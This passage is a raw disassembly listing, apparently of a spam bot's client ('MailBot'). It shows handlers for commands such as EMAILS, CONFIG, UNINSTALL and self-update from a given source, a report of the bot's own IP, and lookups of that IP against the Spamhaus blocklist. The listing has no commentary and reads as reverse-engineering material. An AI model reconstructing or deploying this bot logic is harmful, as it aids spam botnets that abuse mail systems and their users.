mov [ebp-18h], esi
mov [ebp-1Ch], esi
mov eax, esi
mov [ebp-10h], ebx
loc_402E9D: ; CODE XREF: sub_402E64+59j
mov edi, [ebp+0Ch]
push eax
call sub_4054B7
cmp eax, ebx
mov ecx, [ebp-10h]
mov [ebp+ecx*4-1Ch], eax
jz short loc_402EBF
cmp eax, esi
jz short loc_402EBF
dec eax
inc dword ptr [ebp-10h]
cmp dword ptr [ebp-10h], 3
jl short loc_402E9D
loc_402EBF: ; CODE XREF: sub_402E64+4Bj
; sub_402E64+4Fj
mov eax, [ebp-1Ch]
cmp eax, esi
jnz short loc_402EE3
mov ecx, [ebp+8]
push offset dword_41E020
call sub_401C44
push ebx
push 1
lea ecx, [ebp-38h]
call sub_4013C4
mov eax, [ebp+8]
jmp short loc_402F4E
; ---------------------------------------------------------------------------
loc_402EE3: ; CODE XREF: sub_402E64+60j
push esi
inc eax
push eax
push edi
lea esi, [ebp-54h]
call sub_405527
push 0FFFFFFFFh
push ebx
push eax
lea ecx, [ebp-38h]
mov byte ptr [ebp-4], 1
call sub_401315
push ebx
push 1
mov ecx, esi
mov [ebp-4], bl
call sub_4013C4
cmp off_424310, ebx
mov edi, offset off_424310
jz short loc_402F2F
loc_402F19: ; CODE XREF: sub_402E64+C9j
push dword ptr [edi]
lea esi, [ebp-38h]
call sub_406A6D
test al, al
pop ecx
jnz short loc_402F5F
add edi, 4
cmp [edi], ebx
jnz short loc_402F19
loc_402F2F: ; CODE XREF: sub_402E64+B3j
mov eax, [ebp-14h]
loc_402F32: ; CODE XREF: sub_402E64+FEj
mov esi, [ebp+8]
push 0FFFFFFFFh
inc eax
push eax
push dword ptr [ebp+0Ch]
call sub_405527
push ebx
push 1
lea ecx, [ebp-38h]
call sub_4013C4
mov eax, esi
loc_402F4E: ; CODE XREF: sub_402E64+7Dj
mov ecx, [ebp-0Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 8
; ---------------------------------------------------------------------------
loc_402F5F: ; CODE XREF: sub_402E64+C2j
mov eax, [ebp-18h]
jmp short loc_402F32
sub_402E64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402F64 proc near ; DATA XREF: .vty:off_41EB34o
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = byte ptr -148h
var_144 = dword ptr -144h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset SEH_402F64
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 150h
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
lea ecx, [esp+16Ch+var_148]
mov [esp+16Ch+var_158], ebx
mov [esp+16Ch+var_130], 0Fh
call sub_401564
mov [esp+168h+var_4], ebx
movzx eax, byte ptr [ebp+arg_4]
push eax
movzx eax, byte ptr [ebp+arg_4+1]
push eax
movzx eax, byte ptr [ebp+arg_4+2]
push eax
mov eax, [ebp+arg_4]
shr eax, 18h
push eax
push offset aD_D_D_D_inAddr ; "%d.%d.%d.%d.in-addr.arpa"
lea eax, [esp+17Ch+var_110]
push 100h
push eax
call sub_40D9FB
add esp, 1Ch
push 0FFFFFFFFh
lea edi, [esi+4]
push ebx
push edi
lea ecx, [esp+174h+var_148]
mov [esp+174h+var_150], edi
call sub_401315
push [ebp+arg_4]
call dword_41C1FC ; inet_ntoa
push eax
mov ecx, edi
call sub_4013A7
lea eax, [esi+20h]
mov [esp+168h+var_154], eax
call sub_4053F0
lea eax, [esi+3Ch]
mov [esp+168h+var_14C], eax
call sub_4053F0
cmp [esp+168h+var_130], 10h
mov eax, [esp+168h+var_144]
jnb short loc_403022
lea eax, [esp+168h+var_144]
loc_403022: ; CODE XREF: sub_402F64+B8j
mov edi, [esp+168h+var_134]
push eax
mov eax, [esp+16Ch+var_150]
mov ecx, [eax+14h]
call sub_4059BE
test eax, eax
jz short loc_40303D
push esi
call sub_403E41
loc_40303D: ; CODE XREF: sub_402F64+D1j
push ebx
lea eax, [esp+16Ch+var_158]
push eax
push ebx
push 100h
push 0Ch
lea eax, [esp+17Ch+var_110]
push eax
call sub_40D772 ; DnsQuery_A
test eax, eax
jnz short loc_4030BB
mov edi, [esp+168h+var_158]
jmp short loc_4030AC
; ---------------------------------------------------------------------------
loc_40305F: ; CODE XREF: sub_402F64+14Aj
mov eax, [esp+168h+var_158]
push dword ptr [eax+18h]
mov ecx, [esp+16Ch+var_154]
call sub_4013A7
push [esp+168h+var_154]
lea eax, [esp+16Ch+var_12C]
push eax
call sub_402E64
mov ecx, [esp+168h+var_14C]
push 0FFFFFFFFh
push ebx
push eax
mov byte ptr [esp+174h+var_4], 1
call sub_401315
push ebx
push 1
lea ecx, [esp+170h+var_12C]
mov byte ptr [esp+170h+var_4], bl
call sub_4013C4
cmp [esi+50h], ebx
jnz short loc_4030B0
mov edi, [edi]
loc_4030AC: ; CODE XREF: sub_402F64+F9j
cmp edi, ebx
jnz short loc_40305F
loc_4030B0: ; CODE XREF: sub_402F64+144j
push 1
push [esp+16Ch+var_158]
call sub_40D778 ; DnsRecordListFree
loc_4030BB: ; CODE XREF: sub_402F64+F3j
cmp [esi+34h], ebx
mov esi, [esp+168h+var_150]
jnz short loc_4030D1
mov ecx, [esp+168h+var_154]
push 0FFFFFFFFh
push ebx
push esi
call sub_401315
loc_4030D1: ; CODE XREF: sub_402F64+15Ej
mov ecx, [esp+168h+var_14C]
cmp dword ptr [ecx+18h], 10h
jb short loc_4030E0
mov ecx, [ecx+4]
jmp short loc_4030E3
; ---------------------------------------------------------------------------
loc_4030E0: ; CODE XREF: sub_402F64+175j
add ecx, 4
loc_4030E3: ; CODE XREF: sub_402F64+17Aj
cmp dword ptr [esi+18h], 10h
jb short loc_4030EE
mov eax, [esi+4]
jmp short loc_4030F1
; ---------------------------------------------------------------------------
loc_4030EE: ; CODE XREF: sub_402F64+183j
lea eax, [esi+4]
loc_4030F1: ; CODE XREF: sub_402F64+188j
push ecx
push eax
mov eax, [ebp+arg_0]
movzx ecx, al
push ecx
movzx ecx, ah
push ecx
shr eax, 10h
push eax
push offset aServerVersionD ; "Server version %d.%d.%d, my ip %s (%s)\n"...
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
add esp, 1Ch
push ebx
push 1
lea ecx, [esp+170h+var_148]
call sub_4013C4
mov ecx, [esp+168h+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_402F64 endp
; =============== S U B R O U T I N E =======================================
sub_40313B proc near ; DATA XREF: .vty:0041EB38o
push offset aPong ; "PONG\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
pop ecx
pop ecx
retn
sub_40313B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403151 proc near ; DATA XREF: .vty:0041EB3Co
var_5C = dword ptr -5Ch
var_48 = byte ptr -48h
var_2C = byte ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_50 = dword ptr 58h
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_41B2BE
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
push offset aEmails ; "EMAILS\n"
mov edi, ecx
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
mov esi, [ebp+arg_0]
cmp dword ptr [esi+8], 0
pop ecx
pop ecx
jnz short loc_4031C2
push offset aMailbotOnemail ; "MailBot::onEmails: got empty bucket\n"
lea ecx, [esp+74h+var_48]
call sub_401C44
and [esp+70h+var_4], 0
lea eax, [esp+70h+var_48]
push eax
lea ecx, [esp+74h+var_2C]
call sub_401C1E
push offset dword_41FF2C
lea eax, [esp+74h+var_2C]
push eax
call sub_4107BC
loc_4031C2: ; CODE XREF: sub_403151+3Fj
mov ebx, dword_41C070
lea eax, [edi+108h]
push eax
mov [esp+74h+var_5C], eax
call ebx ; RtlEnterCriticalSection
lea eax, [edi+0B8h]
push eax
call ebx ; RtlEnterCriticalSection
cmp dword ptr [edi+94h], 0
lea ebx, [edi+8Ch]
jnz short loc_403233
cmp ebx, esi
jz short loc_403224
mov eax, [esi+4]
mov [esp+arg_4], eax
mov eax, [eax]
mov esi, ebx
mov [esp+arg_14], eax
call sub_4055A2
push [esp+arg_4]
mov eax, [ebx+4]
push [ebp+arg_0]
mov eax, [eax]
push [esp+8+arg_14]
push [ebp+arg_0]
push eax
push ebx
push [esp+18h+arg_C]
push ebx
call sub_407454
loc_403224: ; CODE XREF: sub_403151+9Ej
mov eax, [ebx+4]
mov eax, [eax]
mov [esp+arg_4], ebx
mov [esp+arg_8], eax
jmp short loc_403272
; ---------------------------------------------------------------------------
loc_403233: ; CODE XREF: sub_403151+9Aj
mov eax, [ebx+4]
lea esi, [esp+arg_4]
mov [esp+arg_4], ebx
mov [esp+arg_8], eax
call sub_405967
mov edx, [ebp+arg_0]
cmp ebx, edx
jz short loc_403269
mov eax, [edx+8]
test eax, eax
jz short loc_403269
mov ecx, [edx+4]
mov esi, [ecx]
push ecx
push edx
push esi
push edx
push dword ptr [ebx+4]
mov ecx, ebx
push ebx
call sub_405A06
loc_403269: ; CODE XREF: sub_403151+FBj
; sub_403151+102j
lea esi, [esp+arg_4]
call sub_405D8F
loc_403272: ; CODE XREF: sub_403151+E0j
mov eax, [esp+arg_4]
mov esi, [esp+arg_8]
mov [esp+arg_10], eax
mov [esp+arg_14], esi
loc_403282: ; CODE XREF: sub_403151+227j
cmp [esp+arg_10], 0
mov eax, [ebx+4]
mov [esp+arg_1C], eax
jz short loc_403296
cmp [esp+arg_10], ebx
jz short loc_40329B
loc_403296: ; CODE XREF: sub_403151+13Dj
call sub_40DCFC
loc_40329B: ; CODE XREF: sub_403151+143j
cmp esi, [esp+arg_1C]
jz loc_40337D
cmp [esp+arg_10], 0
jnz short loc_4032B1
call sub_40DCFC
loc_4032B1: ; CODE XREF: sub_403151+159j
mov eax, [esp+arg_10]
cmp esi, [eax+4]
jnz short loc_4032BF
call sub_40DCFC
loc_4032BF: ; CODE XREF: sub_403151+167j
lea eax, [esi+24h]
call sub_405555
add [edi+0B4h], eax
mov eax, [esp+arg_10]
cmp esi, [eax+4]
jnz short loc_4032DB
call sub_40DCFC
loc_4032DB: ; CODE XREF: sub_403151+183j
mov eax, [esi+28h]
cmp eax, [esi+2Ch]
mov [esp+arg_4], eax
jbe short loc_4032EC
call sub_40DCFC
loc_4032EC: ; CODE XREF: sub_403151+194j
mov eax, [esp+arg_10]
cmp esi, [eax+4]
jnz short loc_4032FA
call sub_40DCFC
loc_4032FA: ; CODE XREF: sub_403151+1A2j
lea eax, [esi+24h]
mov [esi+34h], eax
mov eax, [esp+arg_4]
mov [esi+38h], eax
mov eax, [esp+arg_10]
cmp esi, [eax+4]
jnz short loc_403315
call sub_40DCFC
loc_403315: ; CODE XREF: sub_403151+1BDj
mov dword ptr [esi+3Ch], 1
cmp byte ptr [edi+74h], 0
push 10h
jz short loc_403336
call sub_40DE68
test eax, eax
pop ecx
jz short loc_403355
mov dword ptr [eax], offset off_41EB70
jmp short loc_403346
; ---------------------------------------------------------------------------
loc_403336: ; CODE XREF: sub_403151+1D1j
call sub_40DE68
test eax, eax
pop ecx
jz short loc_403355
mov dword ptr [eax], offset off_41EB58
loc_403346: ; CODE XREF: sub_403151+1E3j
mov ecx, [esp+arg_10]
mov [eax+4], edi
mov [eax+8], ecx
mov [eax+0Ch], esi
jmp short loc_403357
; ---------------------------------------------------------------------------
loc_403355: ; CODE XREF: sub_403151+1DBj
; sub_403151+1EDj
xor eax, eax
loc_403357: ; CODE XREF: sub_403151+202j
mov [esp+arg_4], eax
lea eax, [esp+arg_4]
push eax
lea eax, [edi+0F0h]
call sub_4058F2
lea esi, [esp+arg_10]
call sub_405D8F
mov esi, [esp+arg_14]
jmp loc_403282
; ---------------------------------------------------------------------------
loc_40337D: ; CODE XREF: sub_403151+14Ej
mov esi, dword_41C06C
lea eax, [edi+0B8h]
push eax
call esi ; RtlLeaveCriticalSection
push dword ptr [edi+104h]
call dword_41C088 ; SetEvent
push dword ptr [edi+0D8h]
call dword_41C0B4 ; ResetEvent
push [esp+0Ch+arg_0]
call esi ; RtlLeaveCriticalSection
mov ecx, [esp+0Ch+arg_50]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_403151 endp
; ---------------------------------------------------------------------------
loc_4033BE: ; CODE XREF: .vty:0041AE66j
; .vty:0041AECFj ...
push 0
push 1
call sub_4013C4
retn
; ---------------------------------------------------------------------------
push esi
push dword ptr [esp+8]
mov esi, ecx
call sub_401C1E
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4033DA proc near ; DATA XREF: .vty:0041EB40o
var_7F = byte ptr -7Fh
var_7E = byte ptr -7Eh
var_7D = byte ptr -7Dh
var_7C = dword ptr -7Ch
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_50 = byte ptr -50h
var_48 = byte ptr -48h
var_40 = byte ptr -40h
var_38 = byte ptr -38h
var_30 = byte ptr -30h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset SEH_4033DA
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
push edi
mov edi, ecx
push offset aConfig ; "CONFIG\n"
mov [esp+94h+var_74], edi
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
pop ecx
lea eax, [edi+0B8h]
pop ecx
push eax
mov [esp+94h+var_64], eax
call dword_41C070 ; RtlEnterCriticalSection
mov ebx, [edi+78h]
test ebx, ebx
jz short loc_403445
lea esi, [ebx+2Ch]
call sub_405AAC
lea esi, [ebx+1Ch]
call sub_405AAC
push ebx
call sub_40DD8A
pop ecx
loc_403445: ; CODE XREF: sub_4033DA+52j
mov esi, [ebp+arg_0]
mov [edi+78h], esi
cmp dword ptr [esi+8], 0
jnz short loc_40345E
mov byte ptr [edi+74h], 1
mov dword ptr [esi+8], 1
jmp short loc_403462
; ---------------------------------------------------------------------------
loc_40345E: ; CODE XREF: sub_4033DA+75j
mov byte ptr [edi+74h], 0
loc_403462: ; CODE XREF: sub_4033DA+82j
lea ebx, [edi+0E0h]
mov eax, ebx
call sub_4058DF
mov ecx, [edi+78h]
cmp eax, [ecx+8]
jnb loc_403533
loc_40347B: ; CODE XREF: sub_4033DA+150j
push 8
call sub_40DE68
xor esi, esi
cmp eax, esi
pop ecx
jz short loc_403495
mov [eax], edi
mov byte ptr [eax+4], 0
mov [esp+90h+var_7C], eax
jmp short loc_403499
; ---------------------------------------------------------------------------
loc_403495: ; CODE XREF: sub_4033DA+ADj
mov [esp+90h+var_7C], esi
loc_403499: ; CODE XREF: sub_4033DA+B9j
push esi
push esi
push [esp+98h+var_7C]
push offset sub_40D748
push esi
push esi
call sub_4104BF
add esp, 18h
push eax
call dword_41C0D4 ; CloseHandle
mov eax, [esp+90h+var_7C]
mov [esp+90h+var_70], eax
mov eax, [ebx+4]
cmp eax, esi
jz short loc_4034CC
mov esi, [ebx+0Ch]
sub esi, eax
sar esi, 2
loc_4034CC: ; CODE XREF: sub_4033DA+E8j
mov eax, ebx
call sub_4058DF
cmp eax, esi
jnb short loc_4034FD
mov ecx, [ebx+8]
xor eax, eax
lea edi, [esp+90h+var_7F]
stosb
lea edi, [esp+90h+var_7E]
stosb
lea edi, [esp+90h+var_7D]
stosb
mov eax, [esp+90h+var_7C]
mov edi, [esp+90h+var_74]
mov [ecx], eax
add ecx, 4
mov [ebx+8], ecx
jmp short loc_40351D
; ---------------------------------------------------------------------------
loc_4034FD: ; CODE XREF: sub_4033DA+FBj
mov esi, [ebx+8]
cmp [ebx+4], esi
jbe short loc_40350A
call sub_40DCFC
loc_40350A: ; CODE XREF: sub_4033DA+129j
push esi
push ebx
lea eax, [esp+98h+var_70]
push eax
lea eax, [esp+9Ch+var_58]
push eax
mov eax, ebx
call sub_405BDD
loc_40351D: ; CODE XREF: sub_4033DA+121j
mov eax, ebx
call sub_4058DF
mov ecx, [edi+78h]
cmp eax, [ecx+8]
jb loc_40347B
mov esi, [ebp+arg_0]
loc_403533: ; CODE XREF: sub_4033DA+9Bj
mov eax, ebx
call sub_4058DF
mov ecx, [edi+78h]
cmp eax, [ecx+8]
jbe short loc_4035A9
loc_403542: ; CODE XREF: sub_4033DA+1CAj
mov esi, [ebx+8]
cmp [ebx+4], esi
jbe short loc_40354F
call sub_40DCFC
loc_40354F: ; CODE XREF: sub_4033DA+16Ej
mov [esp+90h+var_5C], esi
push 0FFFFFFFFh
lea esi, [esp+94h+var_60]
mov dword ptr [esp+94h+var_60], ebx
call sub_4068D9
mov ecx, [eax]
test ecx, ecx
mov esi, [eax+4]
mov [esp+90h+var_7C], ecx
jnz short loc_403578
call sub_40DCFC
mov ecx, [esp+90h+var_7C]
loc_403578: ; CODE XREF: sub_4033DA+193j
cmp esi, [ecx+8]
jb short loc_403582
call sub_40DCFC
loc_403582: ; CODE XREF: sub_4033DA+1A1j
mov esi, [esi]
mov eax, ebx
mov byte ptr [esi+4], 1
call sub_4058DF
test eax, eax
jz short loc_403597
add dword ptr [ebx+8], 0FFFFFFFCh
loc_403597: ; CODE XREF: sub_4033DA+1B7j
mov eax, ebx
call sub_4058DF
mov ecx, [edi+78h]
cmp eax, [ecx+8]
ja short loc_403542
mov esi, [ebp+arg_0]
loc_4035A9: ; CODE XREF: sub_4033DA+166j
lea ebx, [esi+1Ch]
mov eax, [ebx+4]
cmp eax, [ebx+8]
mov [esp+90h+var_7C], ebx
mov [esp+90h+var_70], eax
jbe short loc_4035C5
call sub_40DCFC
mov eax, [esp+90h+var_70]
loc_4035C5: ; CODE XREF: sub_4033DA+1E0j
mov [esp+90h+var_6C], ebx
mov [esp+90h+var_68], eax
loc_4035CD: ; CODE XREF: sub_4033DA+29Aj
mov eax, [ebx+8]
cmp [ebx+4], eax
mov [esp+90h+var_70], eax
jbe short loc_4035DE
call sub_40DCFC
loc_4035DE: ; CODE XREF: sub_4033DA+1FDj
cmp ebx, ebx
jz short loc_4035E7
call sub_40DCFC
loc_4035E7: ; CODE XREF: sub_4033DA+206j
mov eax, [esp+90h+var_70]
cmp [esp+90h+var_68], eax
jz loc_403679
lea esi, [esp+90h+var_6C]
call sub_409835
mov edi, eax
call sub_409835
mov ebx, eax
call sub_409835
mov [esp+90h+var_70], eax
lea eax, [esp+90h+var_50]
mov ecx, edi
call sub_405472
mov esi, eax
lea eax, [esp+90h+var_48]
mov ecx, ebx
call sub_405492
mov ecx, [esp+90h+var_70]
mov edi, eax
lea eax, [esp+90h+var_40]
call sub_405472
push dword ptr [esi+4]
lea ebx, [esp+94h+var_38]
push dword ptr [esi]
push dword ptr [edi+4]
push dword ptr [edi]
push dword ptr [eax+4]
push dword ptr [eax]
call sub_406A1C
mov eax, [esp+0A8h+var_7C]
mov ecx, [esp+0A8h+var_68]
add esp, 18h
cmp ecx, [eax+8]
jb short loc_403664
call sub_40DCFC
loc_403664: ; CODE XREF: sub_4033DA+283j
add [esp+90h+var_68], 1Ch
mov edi, [esp+90h+var_74]
mov ebx, [esp+90h+var_7C]
mov esi, [ebp+arg_0]
jmp loc_4035CD
; ---------------------------------------------------------------------------
loc_403679: ; CODE XREF: sub_4033DA+215j
lea ebx, [esi+2Ch]
mov eax, ebx
lea esi, [edi+7Ch]
call sub_4057B6
push eax
push esi
call sub_40583B
and [esp+90h+var_7C], 0
mov eax, esi
call sub_4058AA
test eax, eax
jbe loc_40374D
lea eax, [edi+20h]
add edi, 4
and [esp+90h+var_74], 0
mov [esp+90h+var_70], eax
mov [esp+90h+var_6C], edi
loc_4036B4: ; CODE XREF: sub_4033DA+36Dj
mov eax, ebx
call sub_4057B6
cmp [esp+90h+var_7C], eax
jb short loc_4036C6
call sub_40DCFC
loc_4036C6: ; CODE XREF: sub_4033DA+2E5j
mov eax, [ebx+4]
add eax, [esp+90h+var_74]
push eax
push [esp+94h+var_7C]
call sub_4058C0
push eax
call sub_4081BF
push [esp+90h+var_70]
lea ecx, [esp+94h+var_30]
call sub_401C1E
push [esp+90h+var_7C]
call sub_4058C0
mov edi, eax
and [esp+90h+var_4], 0
push 0FFFFFFFFh
push 0
push [esp+98h+var_6C]
lea ecx, [edi+3Ch]
call sub_401315
push 0FFFFFFFFh
push 0
lea eax, [esp+98h+var_30]
push eax
lea ecx, [edi+58h]
call sub_401315
or [esp+90h+var_4], 0FFFFFFFFh
push 0
push 1
lea ecx, [esp+98h+var_30]
call sub_4013C4
inc [esp+90h+var_7C]
add [esp+90h+var_74], 1Ch
mov eax, esi
call sub_4058AA
cmp [esp+90h+var_7C], eax
jb loc_4036B4
loc_40374D: ; CODE XREF: sub_4033DA+2C1j
push [esp+90h+var_64]
call dword_41C06C ; RtlLeaveCriticalSection
mov ecx, [esp+90h+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_4033DA endp
; =============== S U B R O U T I N E =======================================
sub_40376E proc near ; DATA XREF: .vty:0041EB44o
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_50 = dword ptr -50h
var_8 = dword ptr -8
mov eax, offset loc_41B627
call sub_41AE44
sub esp, 54h
push offset aUninstall ; "UNINSTALL"
push dword ptr [ebp+8]
call sub_40FAB0
test eax, eax
pop ecx
pop ecx
jnz short loc_4037AA
push offset aUninstalling ; "Uninstalling\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
pop ecx
pop ecx
call sub_4048E7
jmp short loc_4037EA
; ---------------------------------------------------------------------------
loc_4037AA: ; CODE XREF: sub_40376E+1Ej
push dword ptr [ebp+8]
push offset aUpdatingFromS ; "Updating from %s\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
add esp, 0Ch
push dword ptr [ebp+8]
lea ecx, [ebp-28h]
call sub_401C44
and dword ptr [ebp-4], 0
lea ecx, [ebp-28h]
call sub_40499E
or dword ptr [ebp-4], 0FFFFFFFFh
push 0
push 1
lea ecx, [ebp-28h]
call sub_4013C4
loc_4037EA: ; CODE XREF: sub_40376E+3Aj
push offset aMailbotOnupdat ; "MailBot::onUpdate: trying to return?!"
lea ecx, [ebp-44h]
call sub_401C44
lea eax, [ebp-44h]
push eax
lea ecx, [ebp-60h]
mov dword ptr [ebp-4], 1
call sub_401C1E
push offset dword_41FF2C
lea eax, [ebp-60h]
push eax
call sub_4107BC
int 3 ; Trap to Debugger
push ecx
push ecx
push ebx
push ebp
mov ebp, [esp+64h+var_50]
push esi
push edi
push ebp
push offset aIdleD ; "IDLE: %d\n"
mov esi, ecx
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
push 0
call sub_40FDF8
mov ebx, dword_41C070
add esp, 10h
mov [esp+6Ch+var_5C], eax
mov [esp+6Ch+var_58], edx
lea edi, [esi+108h]
loc_403857: ; CODE XREF: sub_40376E+113j
push edi
call ebx ; RtlEnterCriticalSection
cmp dword ptr [esi+0DCh], 0
jg short loc_40386C
cmp dword ptr [esi+100h], 0
jz short loc_403883
loc_40386C: ; CODE XREF: sub_40376E+F3j
push edi
call dword_41C06C ; RtlLeaveCriticalSection
push 0FFFFFFFFh
push dword ptr [esi+0D8h]
call dword_41C084 ; WaitForSingleObject
jmp short loc_403857
; ---------------------------------------------------------------------------
loc_403883: ; CODE XREF: sub_40376E+FCj
push edi
call dword_41C06C ; RtlLeaveCriticalSection
cmp dword ptr [esi+0A0h], 0
jz short loc_4038AA
push offset aGotSomeEmailsT ; "Got some emails to return, not waiting\n"...
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
pop ecx
pop ecx
jmp short loc_4038EB
; ---------------------------------------------------------------------------
loc_4038AA: ; CODE XREF: sub_40376E+123j
push 0
call sub_40FDF8
pop ecx
mov ecx, [esp+18h+var_8]
sub ecx, eax
add ebp, ecx
test ebp, ebp
jle short loc_4038EB
add esi, 0D0h
loc_4038C4: ; CODE XREF: sub_40376E+17Bj
cmp ebp, 3Ch
jge short loc_4038CD
mov edi, ebp
jmp short loc_4038D0
; ---------------------------------------------------------------------------
loc_4038CD: ; CODE XREF: sub_40376E+159j
push 3Ch
pop edi
loc_4038D0: ; CODE XREF: sub_40376E+15Dj
mov eax, edi
imul eax, 3E8h
push eax
call dword_41C090 ; Sleep
push esi
call sub_40B774
sub ebp, edi
test ebp, ebp
jg short loc_4038C4
loc_4038EB: ; CODE XREF: sub_40376E+13Aj
; sub_40376E+14Ej
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn 4
sub_40376E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
mov esi, [ebp+8]
push esi
push offset aQuitD ; "QUIT: %d\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
add esp, 0Ch
cmp esi, 0FFFFFFFFh
jnz short loc_403922
push 0
call dword_41C100 ; ExitProcess
loc_403922: ; CODE XREF: .vty:00403918j
imul esi, 3E8h
push esi
call dword_41C090 ; Sleep
push 0
lea ecx, [ebp-1Ch]
mov dword ptr [ebp-4], 0Fh
call sub_401564
push offset dword_41FF2C
lea eax, [ebp-1Ch]
push eax
call sub_4107BC
int 3 ; Trap to Debugger
push ebx
mov ebx, [esp+8]
push esi
push edi
mov eax, ebx
mov esi, ecx
call sub_4057B6
push eax
push offset aPutfdomainsD ; "PUTFDOMAINS %d\n"
call sub_4024A7
push eax
push 5
pop ecx
call sub_40195C
add esp, 0Ch
lea edi, [esi+0B8h]
push edi
call dword_41C070 ; RtlEnterCriticalSection
lea eax, [esi+0A4h]
call sub_4056BC
push edi
call dword_41C06C ; RtlLeaveCriticalSection
pop edi
pop esi
pop ebx
retn 4
; =============== S U B R O U T I N E =======================================
sub_40399B proc near ; CODE XREF: sub_405089+6Ap
mov eax, offset loc_41B2AC
call sub_41AE44
sub esp, 60h
or dword ptr [ebp-6Ch], 0FFFFFFFFh
push ebx
push esi
push edi
lea esi, [ebp-68h]
call sub_4012E2
xor ebx, ebx
push offset aGmail_com ; "gmail.com"
lea ecx, [ebp-30h]
mov [ebp-4], ebx
call sub_401C44
lea eax, [ebp-4Ch]
push eax
lea ecx, [ebp-30h]
mov byte ptr [ebp-4], 1
call sub_40D228
pop ecx
mov edi, eax
lea eax, [ebp-6Ch]
mov byte ptr [ebp-4], 2
call sub_40CCCC
push ebx
cmp eax, 0FFFFFFFFh
push 1
lea ecx, [ebp-4Ch]
setz byte ptr [ebp-11h]
call sub_4013C4
push ebx
push 1
lea ecx, [ebp-30h]
call sub_4013C4
cmp [ebp-11h], bl
jz short loc_403A23
loc_403A0A: ; CODE XREF: sub_40399B+8Bj
lea eax, [ebp-6Ch]
call sub_40CCB1
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov eax, ebx
mov large fs:0, ecx
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_403A23: ; CODE XREF: sub_40399B+6Dj
xor ebx, ebx
inc ebx
jmp short loc_403A0A
sub_40399B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A28 proc near ; CODE XREF: sub_405089+73p
var_108 = byte ptr -108h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 108h
and [ebp+var_4], 0
push ebx
xor ebx, ebx
cmp dword ptr [eax+1Ch], 10h
push esi
jb short loc_403A44
mov eax, [eax+8]
jmp short loc_403A47
; ---------------------------------------------------------------------------
loc_403A44: ; CODE XREF: sub_403A28+15j
add eax, 8
loc_403A47: ; CODE XREF: sub_403A28+1Aj
push eax
call dword_41C200 ; inet_addr
movzx ecx, al
push ecx
movzx ecx, ah
push ecx
mov ecx, eax
shr ecx, 10h
and ecx, 0FFh
push ecx
shr eax, 18h
push eax
push offset aD_D_D_D_sblXbl ; "%d.%d.%d.%d.sbl-xbl.spamhaus.org"
mov esi, 100h
lea eax, [ebp+var_108]
push esi
push eax
call sub_40D9FB
add esp, 1Ch
push 0
lea eax, [ebp+var_4]
push eax
push 0
push esi
push 1
lea eax, [ebp+var_108]
push eax
call sub_40D772 ; DnsQuery_A
test eax, eax
jnz loc_403B2C
mov esi, [ebp+var_4]
jmp short loc_403B1C
; ---------------------------------------------------------------------------
loc_403AA4: ; CODE XREF: sub_403A28+F6j
lea eax, [ebp+var_108]
push eax
push dword ptr [esi+4]
call sub_40FAB0
test eax, eax
pop ecx
pop ecx
jnz short loc_403B1A
mov eax, [esi+18h]
cmp eax, 200007Fh
jz short loc_403B02
cmp eax, 400007Fh
jz short loc_403AF8
cmp eax, 500007Fh
jz short loc_403AF8
cmp eax, 600007Fh
jz short loc_403AF8
push eax
call dword_41C1FC ; inet_ntoa
push eax
push offset aStrangeRblReco ; "Strange RBL record %s\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
add esp, 0Ch
jmp short loc_403B1A
; ---------------------------------------------------------------------------
loc_403AF8: ; CODE XREF: sub_403A28+A0j
